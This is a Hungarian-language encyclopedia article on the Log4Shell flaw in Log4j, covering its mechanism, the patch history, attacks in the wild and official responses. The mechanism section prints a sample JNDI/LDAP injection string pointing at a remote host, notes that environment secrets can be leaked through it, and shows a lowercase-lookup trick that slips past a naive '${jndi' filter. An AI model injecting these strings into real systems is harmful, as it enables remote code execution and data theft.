Log4Shell
![]() | Ez a szócikk nem tünteti fel a független forrásokat, amelyeket felhasználtak a készítése során. Emiatt nem tudjuk közvetlenül ellenőrizni, hogy a szócikkben szereplő állítások helytállóak-e. Segíts megbízható forrásokat találni az állításokhoz! Lásd még: A Wikipédia nem az első közlés helye. |
A Log4Shell (CVE-2021-44228) egy nulladik napi sebezhetőség a Log4j-ben, egy népszerű Java naplózási keretrendszerben. A sebezhetőség, ami tetszőleges kódvégrehajtást tesz lehetővé, 2013 óta észrevétlenül létezett a rendszerben, mígnem 2021. november 24-én Chen Zhaojun, az Alibaba Cloud biztonsági csapatának tagja felhívta rá az Apache Software Foundation figyelmét, és a szervezet 2021. december 9-én nyilvánosságra hozta a hibát. Az Apache 10-es súlyosságúnak ítélte meg a Log4Shellt a CVSS skálán, vagyis a legnagyobb pontszámúnak. A sebezhetőség könnyen kihasználható, becslések szerint eszközök százmillióit érinti.
A sebezhetőség azt használja ki, hogy a Log4j kéréseket engedélyez tetszőleges LDAP és JNDI szerverek felé, lehetővé téve a támadóknak, hogy tetszőleges Java kódot futtassanak le egy szerveren vagy más számítógépen, vagy érzékeny információhoz férjenek hozzá. Az Apache Security Team közzétette az érintett szoftverprojektek listáját, melyben olyan kereskedelmi szolgáltatások szerepelnek, mint az Amazon Web Services, a Cloudflare, az iCloud, a Minecraft: Java Edition, a Steam, a Tencent QQ és sok egyéb. A Wiz és az EY jelentése szerint a sebezhetőség a vállalati felhőkörnyezetek 93%-át érinti.
Szakértők minden idők legnagyobb sebezhetőségeként írják le a Log4Shellt. A LunaSec úgy jellemezte, „katasztrofális súlyosságú tervezési hiba”, a Tenable azt nyilatkozta, az exploit „a valaha volt legnagyobb, legkritikusabb sebezhetőség”, az Ars Technica szerint „valószínűleg az eddigi legsúlyosabb sebezhetőség”, a The Washington Post pedig azt írta, hogy a biztonsági szakemberek beszámolói „szinte már az apokalipszist sejtetik”.
Eredet
A Log4j egy nyílt forráskódú naplózó keretrendszer, amely lehetővé teszi a szoftverfejlesztőknek, hogy különféle adatokat naplózzanak az alkalmazásaikban. Ilyen adat lehet például a felhasználói input. A Java alkalmazásokban, különösen a vállalati szoftverekben, előszeretettel alkalmazzák ezt a megoldást. Az eredetileg 2001-ben, Ceki Gülcü által írt keretrendszer jelenleg része az Apache Logging Services-nek, az Apache Software Foundation egyik projektjének. Tom Kellermann, aki Barack Obama elnöksége idején a kiberbiztonsági bizottság tagja volt, úgy jellemezte az Apache-t, mint „egy óriási hídpillér, amely kötőszövetet biztosít az alkalmazások és a számítógépes környezetek világa között”.
Működési elv
A Java Naming and Directory Interface (JNDI) lehetővé teszi Java objektumok megtalálását futási időben az elérési útjuk megadásával. A JNDI számos könyvtár-interfészt használhat, melyek mindegyike más-más keresési sémát biztosít. Ezen interfészek között található a Lightweight Directory Access Protocol (LDAP), egy nem Java-specifikus protokoll, ami az objektum adatait úgy adja vissza, mint egy URL-t egy szervertől, amely a helyzettől függően lehet helyi vagy távoli is.
Egy string naplózásakor a Log4j 2 alapértelmezetten string helyettesítést hajt végre a kifejezéseken ${prefix:name}
formában. Például a Text: ${java:version}
stringet át lehet konvertálni a Text: Java version 1.7.0_67
stringre. A felismert kifejezések között van ez is: ${jndi:<lookup>}
. Ha megadjuk, hogy a keresés LDAP-n keresztül történjen, le lehet kérdezni egy tetszőleges URL-t, majd azt Java objektumként be lehet tölteni. Ez a string például: ${jndi:ldap://example.com/file}
adatot fog letölteni a megadott URL-ről, ha van internetelérés. Egy naplózandó string elküldésével egy támadó rosszindulatú kódot töltethet le egy nyilvános URL-ről, hogy aztán azt lefuttassa a célba vett gépen. Ha az adatvégrehajtás le is van tiltva, a támadó attól még kinyerhet adatokat – például titkos környezeti változókat –, ha az URL-be helyezi őket, és ily módon átküldésre kerülnek a támadó szerverére. Az LDAP mellett más potenciálisan kihasználható JNDI keresési protokollok is léteznek, pl. Java Remote Method Invocation (RMI), Domain Name System (DNS), Internet Inter-ORB Protocol (IIOP).
Mivel a HTTP kéréseket gyakran naplózzák, bevett támadási módszer, hogy a rosszindulatú stringet belehelyezik a HTTP kérés URL-jébe vagy egy többnyire naplózott HTTP fejléc egyik mezőjébe, pl. a User-Agentbe. Kezdetnek azzal próbálták enyhíteni a károkat, hogy blokkoltak minden lekérdezést, amely potenciálisan rosszindulatú kódot tartalmazhat, mint például a ${jndi
. Ezt a védekezést azonban könnyűszerrel meg lehet kerülni egy kis ügyeskedéssel: ${${lower:j}ndi
. A lowercase művelet elvégzése után ez a string is egy JNDI kereséssé lesz átkonvertálva. Ha egy input, például egy keresztnév, nincs is azonnal naplózva, később akkor is naplózásra kerülhet belső feldolgozás során, és így a tartalma végrehajtódik.
Kiküszöbölés
A sebezhetőség javítását 2021. december 6-án tették közzé, három nappal a sebezhetőség nyilvánosságra hozatala előtt, a Log4j 2.15.0-rcl verziójában. A javítás többek között korlátozta a keresésekre használható szervereket és protokollokat. A szakemberek felfedeztek egy járulékos bugot (CVE-2021-45046), ami helyi vagy távoli kódvégrehajtást tesz lehetővé bizonyos nem alapértelmezett konfigurációkban. Ezt a hibát a 2.16.0 verzióban javították ki úgy, hogy letiltották az összes JNDI funkciót és megszüntették a keresés támogatását. Két további sebezhetőséget is találtak a könyvtárban: egy CVE-2021-45105 kóddal elnevezett túlterheléses támadást, melyet a 2.17.0 verzióban javítottak ki, valamint egy CVE-2021-44832 elnevezésű, nehezen kihasználható távoli kódfuttatási sebezhetőséget, melyet a 2.17.1-ben orvosoltak. Az ennél korábbi verziókban el kell távolítani az org.apache.logging.Log4j.core.lookup.JndiLookup
osztályt a classpath-ból, hogy elejét lehessen venni mindkét sebezhetőségnek. A régebbi verzióknál eleinte azt a megoldást javasolták, hogy állítsák igazra a Log4j2.formatMsgNoLookups
rendszertulajdonságot, ám ez a változtatás nem gátolta meg a CVE-2021-45046 sebezhetőség kihasználását, és később arra is rájöttek, hogy nem minden esetben tiltja le a kereséseket.
A Java Runtime Environment (JRE) újabb verziói szintén azzal csökkentik a sebezhetőséget, hogy blokkolják a távoli kódok alapértelmezett betöltését, habár más támadási vektorok még mindig léteznek egyes applikációkban. Számos módszert és eszközt közzétettek már, amelyek segítenek felderíteni a sebezhető Log4j verziókat a kész Java csomagokban.
Támadások
A hibát kihasználva a hackerek átvehetik az irányítást sebezhető, Java-t futtató eszközök felett. Egyesek arra használják a sebezhetőséget, hogy az áldozat eszközeit saját céljaikra fordítsák: kriptovaluta bányászat, botnetek létrehozása, spamek küldése, hátsó kapuk kiépítése és egyéb illegális tevékenységek, pl. zsarolóprogram támadások. A sebezhetőség kitudódását követő napokban a Check Point vállalat több millió támadást regisztrált, egyes szakértők pedig percenként több mint száz támadást figyeltek meg, ami végül oda vezetett, hogy az üzleti hálózatok több mint 40%-át érte támadás nemzetközi szinten.
Matthew Prince, a Cloudflare vezérigazgatója azt állítja, a hiba kihasználására irányuló első kísérlet bizonyíthatóan december 1-jéig nyúlik vissza, vagyis kilenc nappal a nyilvánosságra hozatala előttre. A GreyNoise kiberbiztonsági cég szerint a támadók rengeteg IP-címről gyűjtöttek be adatokat különféle weboldalakról, hogy sebezhető szervereket találjanak. Számos botnet kezdett a sebezhetőség után kutatni, köztük a Muhstik, a Mirai, a Tsunami és az XMRig. A Contit december 17-én kapták rajta a sebezhetőség használatán.
Néhány államilag támogatott kínai és iráni csoport szintén kihasználta a hibát, állítja a Check Point, ám arról nincs tudomásuk, hogy Izrael, Oroszország vagy az Egyesült Államok is így tett-e a hivatalos bejelentést megelőzően. A Check Point elmondta, hogy 2021. december 15-én Irán által támogatott hackerek megkíséreltek behatolni izraeli üzleti és kormányzati hálózatokba.
Válaszlépések és utóhatás
Kormányzati
Jen Easterly, az amerikai kiberbiztonsági ügynökség igazgatója úgy jellemezte a helyzetet, mint „az egyik, ha nem a legsúlyosabb, amit pályafutásom során láttam”, hiszen eszközök százmillióit érinti a dolog, a kiskereskedőknek pedig azt tanácsolta, mielőbb frissítsék a szoftvereiket. Az amerikai kormánnyal szerződésben álló polgári szervezetek 2021. december 24-éig kaptak haladékot, hogy telepítsék a hibajavító csomagot. A Szövetségi Kereskedelmi Bizottság bármilyen törvényes eljárással kész rávenni a késlekedő cégeket, hogy frissítsék a használatban lévő Log4j szoftvereiket a legújabb verzióra. A Fehér Ház az egyik ülésén megállapította, hogy a nyílt forráskódú szoftverek biztonsági karbantartása rendkívüli fontossággal bír a nemzetbiztonságra nézve. Míg egyes nyílt forráskódú projektekre sok ember figyelme irányul egyszerre, más szoftverek biztonságosságáról nagyon kevesen gondoskodnak, vagy épp egyáltalán nem is törődik velük senki.
A Kanadai Kiberbiztonsági Központ felszólította a szervezeteket az azonnali cselekvésre. A kanadai bevételi hivatal ideiglenesen felfüggesztette online szolgáltatásait, miután tudomására jutott a hiba, Québec kormánya pedig közel 4000 weboldalát tette elérhetetlenné „megelőző intézkedésként”.
A belga védelmi minisztériumot is megpróbálták feltörni, ezért kénytelenek voltak lekapcsolni a hálózatuk egy részét.
A német információbiztonsági hivatal a legmagasabb fokozatú fenyegetésnek minősítette a sebezhetőséget. Jelentette továbbá, hogy máris több sikeres támadás történt, és hogy a veszély terjedelmét nehéz megbecsülni. A holland nemzeti kiberbiztonsági központ elkezdte listába gyűjteni a sebezhető alkalmazásokat.
A kínai ipari és információtechnológiai minisztérium hat hónapra felfüggesztette a közös munkát az Alibaba Clouddal mint kiberbiztonsági hírszerző partnerrel, mivel az nem a kormánynak jelentette elsőnek a sebezhetőséget.
Üzleti
A Wiz és az EY által lefolytatott kutatás kimutatta, hogy a felhőalapú vállalati környezetek 93%-a sebezhető volt a Log4Shellel szemben. A sebezhető területek 7%-a ki van téve az internetnek és könnyű célpontot képez a támadási kísérleteknek. A kutatás szerint 10 nappal a sebezhetőség bejelentése után, vagyis 2021. december 20-ára átlagosan csupán a sebezhető területek 45%-a került frissítésre a felhőalapú környezetekben. Az Amazon, a Google és a Microsoft felhőadatait is érintette a Log4Shell. A Microsoft arra kérte a Windows és az Azure ügyfeleket, hogy legyenek óvatosak, mivel megfigyeléseik szerint államilag támogatott hackerek és kiberbűnözők piszkálták a rendszereket a Log4j gyengeségei után kutatva.
Az UKG, egy emberi erőforrással és munkaerővel foglalkozó társaság, egy olyan zsarolóprogram célpontja lett, ami nagyvállalatokat érintett. Az UKG azt nyilatkozta, nem utalt rá semmi, hogy a Log4Shell kihasználásával történt az incidens, ám Allan Liska, a Recorded Future kiberbiztonsági cég analitikusa állítja, valószínűleg volt kapcsolat.
Ahogy a nagyobb vállalatok elkezdtek javítócsomagokat kiadni a sebezhetőség ellen, úgy nőtt a kisebb cégek veszélyeztetettsége, mivel a hackerek a sebezhetőbb célpontok felé fordultak.
Privát szféra
Az internetre kapcsolódó személyes eszközök, például az okostévék és a biztonsági kamerák szintén ki vannak téve a veszélynek, amíg nem telepítik fel rájuk a javítócsomagot.
Elemzés
2021. december 14-ére a céges hálózatok közel felét érte valamilyen behatolási kísérlet globális szinten, 24 órán belül több mint 60 variánst fejlesztettek ki a hiba kiaknázására. A Check Point egy részletes elemzésben úgy jellemezte a helyzetet, mint „igazi kiberpandémia”, a lehetséges kárt pedig „kiszámíthatatlannak” írta le. Számos korai jelentés eltúlozta a sebezhető csomagok mennyiségét, ami fals riasztásokhoz vezetett. Eleinte a „Log4j-api”-t is sebezhetőnek ítélték, ám a tüzetesebb vizsgálat kimutatta, hogy egyedül a fő „Log4j-core” csomag sebezhető.
A Wired technológiai magazin azt írta, hogy a többszörös sebezhetőségeket övező korábbi „hűhó” ellenére „a Log4j sebezhetőség valóban megéri a felhajtást több okból is”. A magazin azt ecsetelte, hogy egyrészt a potenciális célpontok nehezen ismerik fel a sebezhetőséget, másrészt minden eddiginél könnyebb ártalmas kódot küldeni az áldozatok gépére. E két tényező „olyan súlyos, mindent átszövő kombinációt hozott létre, ami mélységesen megrázta a biztonsági közösséget”. A magazin a Log4Shell kihasználásának lépcsőfokozatait is számba vette: először kriptobányász csoportok csaptak le a sebezhetőségre, majd adatbrókerek adtak el egy szeletet a kiberbűnözőknek, akik végül belekezdtek a zsarolóprogram támadásokba, a kémkedésbe és az adatpusztításba.
Amit Yoran, a Tenable vezérigazgatója és az amerikai számítógépes vészhelyzeti csapat alapító igazgatója kijelentette, hogy „a Log4Shell a valaha volt legnagyobb, legkritikusabb sebezhetőség”, és hogy a hiba felfedezése után nem sokkal máris kifinomult támadásokat regisztráltak. Azt is elmondta, hogy „a sebezhetőséget a jelek szerint elsősorban zsarolóprogram támadásokra használják, ami nagyon aggasztó… Egyes jelentések olyan esetekről számolnak be, ahol a támadók vaktában nekikezdtek a rendszer pusztításának, hogy pénzt csikarjanak ki az áldozatból, ami felettébb szokatlan viselkedés”. Sean Gallagher, a Sophos senior fenyegetéskutatója azt mondta, „őszintén szólva a legnagyobb gond az, hogy a támadók mostanra megszerezték a hozzáférést, és egyelőre csak ülnek rajta. Még ha helyre is hozzuk a hibát, valaki már benn van a hálózatban. Ez a probléma velünk lesz, amíg csak az internet létezik”.
A Bloomberg News jelentése szerint egyesek haraggal viseltetnek az Apache fejlesztői iránt, amiért elmulasztották kijavítani a sebezhetőséget, noha egy 2016-os kiberbiztonsági konferencián többen is felhívták rá a figyelmet, hogy számos szoftver, köztük a Log4j is ki van téve a támadás veszélyének.
Fordítás
Ez a szócikk részben vagy egészben a Log4Shell című angol Wikipédia-szócikk fordításán alapul. Az eredeti cikk szerkesztőit annak laptörténete sorolja fel. Ez a jelzés csupán a megfogalmazás eredetét és a szerzői jogokat jelzi, nem szolgál a cikkben szereplő információk forrásmegjelöléseként.
Informatikai portál • összefoglaló, színes tartalomajánló lap